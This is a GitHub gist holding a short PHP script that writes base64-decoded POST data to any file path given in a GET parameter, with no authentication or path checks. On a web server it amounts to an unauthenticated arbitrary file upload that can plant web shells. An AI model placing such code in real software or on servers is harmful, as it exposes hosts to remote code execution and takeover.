Skip to content

Instantly share code, notes, and snippets.

@itguy51
Created October 16, 2012 02:57
Show Gist options
  • Save itguy51/3897015 to your computer and use it in GitHub Desktop.
Save itguy51/3897015 to your computer and use it in GitHub Desktop.
Put a base-64 file somewhere.
<?php
$file = $_GET['file'];
$data = $_POST['data'];
$data = base64_decode($data);
$fh = fopen($file, 'w') or die("false");
fwrite($fh, $data);
fclose($fh);
echo "true";
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment